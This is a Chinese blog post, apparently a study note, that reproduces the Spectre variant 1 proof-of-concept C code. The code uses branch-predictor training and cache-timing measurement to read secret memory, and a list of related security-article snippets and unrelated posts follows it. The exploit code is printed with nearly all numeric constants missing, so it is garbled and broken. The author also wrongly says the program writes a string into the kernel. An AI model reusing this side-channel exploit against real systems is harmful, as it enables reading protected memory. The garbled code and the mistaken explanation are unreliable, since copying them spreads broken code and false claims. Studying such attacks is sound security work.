这几天报道了Intel的漏洞,这里学习一下并做个记录。
报告:https://spectreattack.com/spectre.pdf
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#ifdef _MSC_VER //编译器根据版本自动调用lib库
#include <intrin.h> //用于内核编程
#pragma optimize("gt", on) //允许全局优化和指定更短的机器代码序列,on是打开功能
#else
#include <x86intrin.h>
#endif unsigned int array1_size = ;
uint8_t unused1[];
uint8_t array1[] = {,,,,,,,,,,,,,,,};
uint8_t unused2[];
uint8_t array2[ * ]; char * secret = "The Magic Words are QKSword"; //插入内核的字符串 uint8_t temp = ; /* Used so compiler won’t optimize out victim_function() */ void victim_function(size_t x)
{
if (x < array1_size)
{
temp &= array2[array1[x] * ];
}
} /********************************************************************
Analysis code
********************************************************************/
#define CACHE_HIT_THRESHOLD (80) /* assume cache hit if time <= threshold */ /* Report best guess in value[0] and runner-up in value[1] */
void readMemoryByte(size_t malicious_x, uint8_t value[], int score[])
{
static int results[];
int tries, i, j, k, mix_i;
unsigned int junk = ;
size_t training_x, x;
register uint64_t time1, time2;
volatile uint8_t * addr; for (i = ; i < ; i++)
results[i] = ;
for (tries = ; tries > ; tries--)
{
/* Flush array2[256*(0..255)] from cache */
for (i = ; i < ; i++)
_mm_clflush(&array2[i * ]); /* intrinsic for clflush instruction */ /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
training_x = tries % array1_size;
for (j = ; j >= ; j--) {
_mm_clflush(&array1_size);
for (volatile int z = ; z < ; z++) {} /* Delay (can also mfence) */ /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % ) - ) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> )); /* Set x=-1 if j&6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x)); /* Call the victim! */
victim_function(x);
} /* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = ; i < ; i++)
{
mix_i = ((i * ) + ) & ;
addr = &array2[mix_i * ];
time1 = __rdtscp(&junk); /* READ TIMER */
junk = *addr; /* MEMORY ACCESS TO TIME */
time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
results[mix_i]++; /* cache hit - add +1 to score for this value */
} /* Locate highest & second-highest results results tallies in j/k */
j = k = -;
for (i = ; i < ; i++)
{
if (j < || results[i] >= results[j])
{
k = j;
j = i;
}
else if (k < || results[i] >= results[k])
{
k = i;
}
}
if (results[j] >= ( * results[k] + ) || (results[j] == && results[k] == ))
break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
}
results[] ^= junk; /* use junk so code above won’t get optimized out*/
value[] = (uint8_t)j;
score[] = results[j];
value[] = (uint8_t)k;
score[] = results[k];
} int main(int argc, const char * * argv)
{
printf("Putting '%s' in memory\n", secret);
size_t malicious_x = (size_t)(secret - (char *)array1); /* default for malicious_x */
int i, score[], len = strlen(secret);
uint8_t value[]; for (i = ; i < sizeof(array2); i++)
array2[i] = ; /* write to array2 so in RAM not copy-on-write zero pages */
if (argc == )
{
sscanf_s(argv[], "%p", (void * *)(&malicious_x));
malicious_x -= (size_t)array1; /* Convert input value into a pointer */
sscanf_s(argv[], "%d", &len);
} printf("Reading %d bytes:\n", len);
while (--len >= )
{
printf("Reading at malicious_x = %p... ", (void *)malicious_x);
readMemoryByte(malicious_x++, value, score); //读取写入的字符串
printf("%s: ", (score[] >= * score[] ? "Success" : "Unclear"));
printf("0x%02X=’%c’ score=%d ", value[],
(value[] > && value[] < ? value[] : '?'), score[]);
if (score[] > )
printf("(second best: 0x%02X score=%d)", value[], score[]);
printf("\n");
}
system("pause");
return ();
}
这个程序的主要功能就是把一段字符串写入内核中,然后通过漏洞读取出来,用来检测电脑是否存在漏洞。
代码还没全部注释完,这里先放一下,以免忘记
关于Intel漏洞的学习的更多相关文章
-
[Web安全] XXE漏洞攻防学习(中)
0x00.XXE漏洞攻击实例 攻击思路: 1. 引用外部实体远程文件读取 2. Blind XXE 3. Dos 0x01.外部实体引用,有回显 实验操作平台:bWAPP平台上的XXE题目 题目: 进 ...
-
Linux kernel pwn notes(内核漏洞利用学习)
前言 对这段时间学习的 linux 内核中的一些简单的利用技术做一个记录,如有差错,请见谅. 相关的文件 https://gitee.com/hac425/kernel_ctf 相关引用已在文中进行了 ...
-
CVE-2018-2628 weblogic WLS反序列化漏洞--RCE学习笔记
weblogic WLS 反序列化漏洞学习 鸣谢 感谢POC和分析文档的作者-绿盟大佬=>liaoxinxi:感谢群内各位大佬及时传播了分析文档,我才有幸能看到. 漏洞简介 漏洞威胁:RCE-- ...
-
微软 IIS HTTP.sys漏洞原理学习以及POC
零.MS15-034POC核心部分(参考巡风): socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket. ...
-
dedecms_v5.7的apache文件名解析漏洞的学习
0x00 Apache文件名解析漏洞 Apache是一个Web服务器,可以提供web服务.配合java中间件.PHP实现动态页面访问. Apache和PHP通过接口接入后,Apache接受用户的请求, ...
-
Intel汇编语言程序设计学习-第一章 基本概念
第一章基本概念 1.1 简单介绍 本书着重讲述MS-Windows平台上IA-32(Intel Architecture 32bit,英特尔32位体系架构)兼容微处理器的汇编语言程序设计,可以使用I ...
-
Intel汇编语言程序设计学习笔记1
第一章 汇编器链接器:汇编器将汇编语言翻译成机器语言,链接器将单个文件合并为可执行文件 intel 80X86系列处理器的汇编语言与VAX或者motorala 68x00等系统的汇编是否相同?不相同, ...
-
xxe漏洞的学习与利用总结
前言 对于xxe漏洞的认识一直都不是很清楚,而在我为期不长的挖洞生涯中也没有遇到过,所以就想着总结一下,撰写此文以作为记录,加深自己对xxe漏洞的认识. xml基础知识 要了解xxe漏洞,那么一定得先 ...
-
Adobe阅读器漏洞(adobe_cooltype_sing)学习研究
实验环境:Kali 2.0+Windows XP sp3+Adobe Reader 9.0.0 类别:缓冲区溢出 描述:这个漏洞针对Adobe阅读器9.3.4之前的版本,一个名为SING表对象中一个名 ...
随机推荐
-
【splay】文艺平衡树 BZOJ 3223
Description 您需要写一种数据结构(可参考题目标题),来维护一个有序数列,其中需要提供以下操作:翻转一个区间,例如原有序序列是5 4 3 2 1,翻转区间是[2,4]的话,结果是5 2 3 ...
-
Easyui的渲染
锻炼完身体九点到电脑旁,加上整理明天的接口文档,到现在22:38:10:-_-!!,心累 今天整理下Easyui是如何渲染的: <input class="easyui-combobo ...
-
apache虚拟主机访问原理
www.a.com www.b.org www.c.net 都放在10.0.0.10这个服务器上 那么客户访问这三个域名 服务器是怎么分辨访问的是哪个目录呢 GET http://download.m ...
-
如何解决WebService参数传递中文乱码问题
1,问题由来 我的主要工作是负责统一适配平台这块,主要任务是提供给客户统一的调用接口,客户使用这个接口可以通过我们再调不同厂家的接口.主要流程如下: 现在客户那边传来的请求报文里面包含中文,使用web ...
-
关于spring配置文件properties的问题
我遇到的问题是我将properties放在src下面的包中不能被spring扫描到,会报配置文件找不到的错误.但是如果放在src目录下就能够被spring扫描到,现在还不知道为什么这样,记个笔记,留到 ...
-
手把手教你在Windows下使用MinGW编译libav(参考libx264的编入)
转自:http://www.th7.cn/Program/cp/201407/242762.shtml 手把手教你在Windows下使用MinGW编译libav libav是在Linux下使用纯c语言 ...
-
PHP数组在HTML之中的应用
<select name="data[status]" id="" <?php if(in_array($list['status'],array( ...
-
Linux--fedora21 PC机安装以及拨号上网和无限上网
最近回家,学习许久未用的linux,之前也是在培训的时候用的是 ubuntu ,这次回家查了下 fedora 最适合开发人员使用,所以就装了个试试.刚开始只能拨号上网,经过三天时间的各种搜索查找终于解 ...
-
PHP从数据库获取的下拉树
<?php include "config.php"; include "mysql.php"; $db = new Mysql('test'); //几 ...
-
【CJOJ1494】【洛谷2756】飞行员配对方案问题
题面 题目背景 第二次世界大战时期.. 题目描述 英国皇家空军从沦陷国征募了大量外籍飞行员.由皇家空军派出的每一架飞机都需要配备在航行技能和语言上能互相配合的2 名飞行员,其中1 名是英国飞行员,另1 ...